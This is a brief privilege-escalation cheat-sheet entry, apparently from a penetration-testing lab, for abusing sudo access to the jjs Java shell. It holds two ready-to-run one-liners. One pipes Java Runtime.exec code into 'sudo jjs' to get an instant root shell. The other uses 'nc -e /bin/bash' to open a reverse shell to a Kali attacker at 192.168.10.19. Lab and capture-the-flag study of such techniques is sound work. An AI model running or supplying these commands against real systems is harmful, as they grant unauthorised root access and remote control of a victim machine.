jjs

(strangely there is no need to start a nc listener from kali in another panel, redirects to root automatically)

#insta root

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | sudo jjs

#alternatively:

#kali IP: 192.168.10.19
echo “Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.10.19 8000')” | sudo jjs